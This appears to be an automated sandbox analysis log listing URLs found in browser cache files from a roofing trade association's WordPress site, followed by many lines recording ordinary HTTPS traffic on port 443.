Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/custom_style.cs
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/960.css?ver=1.0
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/ie-all.css?ver=
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/reset.css?ver=1
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/responsive.css?
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/js/frontend/respond.min.js?ver=1.4.
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/js/frontend/script.js?ver=1.0
Source: chromecache_514.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/jquery-validate/jquery.valida
Source: chromecache_514.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/masked-input-plugin/jquery.ma
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.min.
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.opti
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/css/prettyPhoto.c
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/custom_params.js?
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/js/jquery.prettyP
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/superfish-menu/css/superfish.
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/superfish-menu/js/superfish.c
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/shared/font-awesome/css/font-awesome.m
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/themes/u-design/style.css?ver=3.3.8.1605398328
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-1024x682.jpeg
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-500x333.jpeg
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-600x400.jpeg
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-768x512.jpeg
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193.jpeg
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-1024x683.jpeg
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-300x200.jpeg
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-500x333.jpeg
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-768x512.jpeg
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/cropped-logo-icon-150x150.png
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/cropped-logo-icon-180x180.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/cropped-logo-icon-300x300.png
Source: chromecache_315.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/recycle-100x100.png
Source: chromecache_315.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/recycle-150x150.png
Source: chromecache_315.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/recycle-300x300.png
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/roofing.png
Source: chromecache_315.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/04/roofing.png?id=96);border-top-color:#73221
Source: chromecache_500.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/05/AdobeStock_104683960-500x500.jpeg
Source: chromecache_500.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/05/form-500x500.jpg
Source: chromecache_500.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/05/postcard-100x100.jpg
Source: chromecache_500.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/05/postcard-150x150.jpg
Source: chromecache_500.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2017/05/postcard-300x300.jpg
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/07/ARMA-Privacy-Policy_2018.pdf
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/07/ARMA-Terms-and-Conditions.pdf
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-1024x500.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-300x147.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-500x244.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-600x293.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-768x375.png
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2022/10/ig.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-1024x595.
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-1536x893.
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-2048x1191
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-600x349.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-768x447.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-1024x595.pn
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-1536x893.pn
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-2048x1191.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-300x174.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-600x349.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-768x447.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-1024x595.
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-1536x893.
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-2048x1191
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-300x174.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-600x349.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-768x447.p
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-100x100.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-1024x1024.pn
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-150x150.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-300x300.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-600x600.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-768x768.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Excellence-Awards-Submission-Rules-07-13-2
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/Excellence-Awards-Tip-Sheet-FINAL.pdf
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/07/button_click-here-to-view-armas-submission
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard1_InTheNeighborhood-240x300.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard1_InTheNeighborhood-600x750.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard1_InTheNeighborhood-768x960.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard1_InTheNeighborhood.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse-240x300.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse-600x750.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse-768x960.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship-240x300.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship-600x750.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship-768x960.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty-240x300.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty-600x750.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty-768x960.png
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty.png
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-includes/css/dist/block-library/style.min.css?ver=6.0.7
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-includes/wlwmanifest.xml
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.asphaltroofing.org%2Fa
Source: chromecache_514.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.asphaltroofing.org%2Fc
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.asphaltroofing.org%2Fe
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.asphaltroofing.org%2Fg
Source: chromecache_514.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/wp/v2/pages/122
Source: chromecache_254.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/wp/v2/pages/126
Source: chromecache_411.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/wp/v2/pages/143
Source: chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/wp/v2/pages/275
Source: chromecache_500.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/wp/v2/pages/382
Source: chromecache_315.2.dr	String found in binary or memory: https://www.asphaltroofing.org/wp-json/wp/v2/pages/88
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/xmlrpc.php
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.asphaltroofing.org/xmlrpc.php?rsd
Source: chromecache_411.2.dr	String found in binary or memory: https://www.buildingenclosureonline.com/articles/92410-a-preview-of-roofing-day-2024#new_tab
Source: chromecache_540.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_514.2.dr	String found in binary or memory: https://www.google.com/maps/embed?pb=
Source: chromecache_299.2.dr, chromecache_540.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_299.2.dr, chromecache_540.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_298.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-NZGSSK4
Source: chromecache_411.2.dr	String found in binary or memory: https://www.holcim.com/who-we-are/our-stories/malarkey-roofing-montana-sustainable-roofing-shingles#
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.instagram.com/asphalt_roofing/
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://www.linkedin.com/company/asphalt-roofing-manufacturers-association/
Source: chromecache_540.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_501.2.dr	String found in binary or memory: https://www.themepunch.com/links/slider_revolution_wordpress_regular_license
Source: chromecache_501.2.dr	String found in binary or memory: https://www.themepunch.com/support-center
Source: chromecache_540.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
